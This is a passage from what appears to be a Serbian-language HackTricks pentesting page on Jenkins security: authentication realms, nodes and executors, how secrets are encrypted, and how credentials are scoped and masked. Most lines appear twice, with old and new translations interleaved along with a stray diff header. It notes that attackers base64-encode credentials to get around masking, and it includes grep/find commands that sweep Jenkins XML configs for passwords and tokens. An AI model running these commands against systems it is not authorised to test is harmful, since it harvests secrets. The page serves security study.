- **Jenkinsova vlastita baza korisnika:** Koristite **Jenkinsovu ugrađenu bazu podataka korisnika** za autentifikaciju umesto delegiranja na eksterni sistem. Ovo je omogućeno po defaultu.
- **LDAP**: Delegirati svu autentifikaciju na konfigurisan LDAP server, uključujući i korisnike i grupe.
- **Unix baza korisnika/grupa**: **Delegira autentifikaciju na osnovnu Unix** OS nivo bazu korisnika na Jenkins kontroleru. Ovaj režim će takođe omogućiti ponovnu upotrebu Unix grupa za autorizaciju.
- **Delegate to servlet container**: Za delegiranje autentifikacije na servlet container koji pokreće Jenkins controller, kao što je [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins own user database:** Koristite **ugrađenu Jenkins bazu korisnika** za autentifikaciju umesto delegiranja na eksterni sistem. Ovo je podrazumevano omogućeno.
- **LDAP**: Delegirajte svu autentifikaciju na konfigurisan LDAP server, uključujući korisnike i grupe.
- **Unix user/group database**: **Delegira autentifikaciju na osnovnu Unix** OS-nivo korisničku bazu na Jenkins controlleru. Ovaj režim takođe omogućava ponovnu upotrebu Unix grupa za autorizaciju.
Pluginovi mogu pružiti dodatna sigurnosna carstva koja mogu biti korisna za uključivanje Jenkinsa u postojeće identitetske sisteme, kao što su:
Pluginovi mogu obezbediti dodatne security realme koji mogu biti korisni za integraciju Jenkins-a u postojeće identity sisteme, na primer:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Jenkins Čvorovi, Agenti i Izvršioci
## Jenkins Nodes, Agents & Executors
Definicije iz [dokumentacije](https://www.jenkins.io/doc/book/managing/nodes/):
Definicije iz [docs](https://www.jenkins.io/doc/book/managing/nodes/):
**Čvorovi** su **mašine** na kojima se izvršavaju **agenti za izgradnju**. Jenkins prati svaki priključeni čvor za slobodan prostor na disku, slobodan temp prostor, slobodan swap, vreme/sinkronizaciju sata i vreme odgovora. Čvor se uzima offline ako bilo koja od ovih vrednosti pređe konfigurisani prag.
**Nodes** su **mašine** na kojima rade build **agenti**. Jenkins nadgleda svaki priključeni node za prostor na disku, slobodan temp prostor, slobodan swap, sinhronizaciju sata i vreme odziva. Node se uklanja iz rada ako bilo koja od ovih vrednosti pređe konfigurisan prag.
**Agenti** **upravljaju** **izvršenjem zadataka** u ime Jenkins kontrolera koristeći **izvršioce**. Agent može koristiti bilo koji operativni sistem koji podržava Javu. Alati potrebni za izgradnje i testove su instalirani na čvoru na kojem agent radi; mogu se **instalirati direktno ili u kontejneru** (Docker ili Kubernetes). Svaki **agent je zapravo proces sa svojim PID** na host mašini.
**Agents** **upravljaju** **izvršavanjem zadataka** u ime Jenkins controller-a koristeći **executors**. Agent može koristiti bilo koji operativni sistem koji podržava Java. Alati potrebni za build i testove instaliraju se na node gde agent radi; mogu **biti instalirani direktno ili u kontejneru** (Docker ili Kubernetes). Svaki **agent je efektivno proces sa sopstvenim PID-om** na host mašini.
**Izvršilac** je **slot za izvršenje zadataka**; zapravo, to je **nit u agentu**. **Broj izvršilaca** na čvoru definiše broj **paralelnih zadataka** koji se mogu izvršiti na tom čvoru u jednom trenutku. Drugim rečima, ovo određuje **broj paralelnih Pipeline `stages`** koji mogu izvršiti na tom čvoru u jednom trenutku.
Executor je **slot za izvršavanje zadataka**; efektivno, to je **thread u agentu**. **Broj executora** na node-u definiše broj **konkurentnih zadataka** koji se mogu izvršavati na tom node-u u istom trenutku. Drugim rečima, ovo određuje **broj konkurentnih Pipeline `stages`** koji mogu biti izvršeni na tom node-u u isto vreme.
## Jenkins Tajne
## Jenkins tajne
### Enkripcija Tajni i Akreditiva
### Enkripcija tajni i kredencijala
Definicija iz [dokumentacije](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins koristi **AES za enkripciju i zaštitu tajni**, akreditiva i njihovih odgovarajućih ključeva za enkripciju. Ovi ključevi za enkripciju se čuvaju u `$JENKINS_HOME/secrets/` zajedno sa glavnim ključem koji se koristi za zaštitu navedenih ključeva. Ovaj direktorijum treba konfigurisati tako da samo korisnik operativnog sistema pod kojim Jenkins kontroler radi ima pristup za čitanje i pisanje u ovaj direktorijum (tj. `chmod` vrednost `0700` ili korišćenje odgovarajućih atributa datoteka). **Glavni ključ** (ponekad nazvan "ključ za enkripciju" u kriptožargonu) je **pohranjen \_nekriptovano\_** na datotečnom sistemu Jenkins kontrolera u **`$JENKINS_HOME/secrets/master.key`** što ne štiti od napadača sa direktnim pristupom toj datoteci. Većina korisnika i programera će koristiti ove ključeve za enkripciju indirektno putem [Secret](https://javadoc.jenkins.io/byShortName/Secret) API za enkripciju generičkih tajnih podataka ili putem API-ja za akreditive. Za kriptozainteresovane, Jenkins koristi AES u režimu blokovne enkripcije (CBC) sa PKCS#5 punjenjem i nasumičnim IV-ima za enkripciju instanci [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) koje se čuvaju u `$JENKINS_HOME/secrets/` sa imenom datoteke koje odgovara njihovom `CryptoConfidentialKey` id. Uobičajeni id ključeva uključuju:
Definicija iz [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins koristi **AES za šifrovanje i zaštitu tajni**, kredencijala i njihovih odgovarajućih ključeva za enkripciju. Ovi ključevi enkripcije se čuvaju u `$JENKINS_HOME/secrets/` zajedno sa master ključem koji štiti pomenute ključeve. Ovaj direktorijum bi trebalo podesiti tako da samo operativni sistem korisnik pod kojim Jenkins controller radi ima pravo čitanja i pisanja (npr. `chmod` vrednost `0700` ili odgovarajuće atributi fajla). **Master key** (ponekad nazivan "key encryption key") je **sačuvan _nešifrovan_** na filesystemu Jenkins controller-a u **`$JENKINS_HOME/secrets/master.key`**, što ne štiti od napadača sa direktnim pristupom tom fajlu. Većina korisnika i developera će koristiti ove ključeve indirektno preko [Secret](https://javadoc.jenkins.io/byShortName/Secret) API-ja za šifrovanje generičkih tajnih podataka ili kroz credentials API. Za zainteresovane za kripto: Jenkins koristi AES u cipher block chaining (CBC) modu sa PKCS#5 padding-om i nasumičnim IV-ovima za enkriptovanje instanci [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) koje se skladište u `$JENKINS_HOME/secrets/` sa imenom fajla koje odgovara njihovom `CryptoConfidentialKey` id-u. Uobičajeni id-evi ključeva uključuju:
- `hudson.util.Secret`: korišćen za generičke tajne;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: korišćen za neke tipove akreditiva;
- `jenkins.model.Jenkins.crumbSalt`: koristi se od strane [CSRF zaštitnog mehanizma](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); i
- `hudson.util.Secret`: koristi se za generičke tajne;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: koristi se za neke tipove kredencijala;
- `jenkins.model.Jenkins.crumbSalt`: koristi se od strane [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); i
### Pristup Akreditivima
### Pristup kredencijalima
Akreditivi mogu biti **ograničeni na globalne provajdere** (`/credentials/`) kojima može pristupiti bilo koji konfigurisan projekat, ili mogu biti ograničeni na **specifične projekte** (`/job/<project-name>/configure`) i stoga dostupni samo iz specifičnog projekta.
Kredencijali mogu biti **scope-ovani na global providers** (`/credentials/`) kojima može pristupiti bilo koji konfigurisan projekat, ili mogu biti ograničeni na **konkretne projekte** (`/job/<project-name>/configure`) i stoga dostupni samo iz tog projekta.
Prema [**dokumentaciji**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Akreditivi koji su u opsegu su dostupni za pipeline bez ograničenja. Da bi se **sprečilo slučajno izlaganje u logu izgradnje**, akreditivi su **maskirani** od redovnog izlaza, tako da poziv `env` (Linux) ili `set` (Windows), ili programi koji štampaju svoje okruženje ili parametre ne bi **otkrili njih u logu izgradnje** korisnicima koji inače ne bi imali pristup akreditivima.
Prema [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Kredencijali koji su u opsegu se čine dostupnim pipeline-u bez ograničenja. Da bi se **spriječilo slučajno izlaganje u build log-u**, kredencijali se **maskiraju** iz regularnog izlaza, tako da poziv `env` (Linux) ili `set` (Windows), ili programi koji ispisuju svoje environment promenljive ili parametre **neće otkriti kredencijale u build log-u** korisnicima koji inače nemaju pristup tim kredencijalima.
**Zato napadač treba, na primer, da ih base64 kodira da bi ih eksfiltrirao.**
**Zbog toga, da bi napadač izveo eksfiltraciju kredencijala, mora, na primer, da ih base64-uje.**
### Tajne u plugin/job konfiguracijama na disku
Ne pretpostavljajte da su tajne samo u `credentials.xml`. Mnogi pluginovi čuvaju tajne u svojim **sopstvenim globalnim XML** pod `$JENKINS_HOME/*.xml` ili u per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, ponekad čak i u plain textu (maskiranje u UI ne garantuje šifrovano skladištenje). Ako dobijete read pristup fajl sistemu, enumerišite te XML-ove i pretražite očigledne tagove koji sadrže tajne.
```bash
# Global plugin configs
ls -l /var/lib/jenkins/*.xml
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
# Per-job configs
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
```
## Reference
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
@@ -90,5 +101,6 @@ Prema [**dokumentaciji**](https://www.jenkins.io/blog/2019/02/21/credentials-mas
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
{{#include ../../banners/hacktricks-training.md}}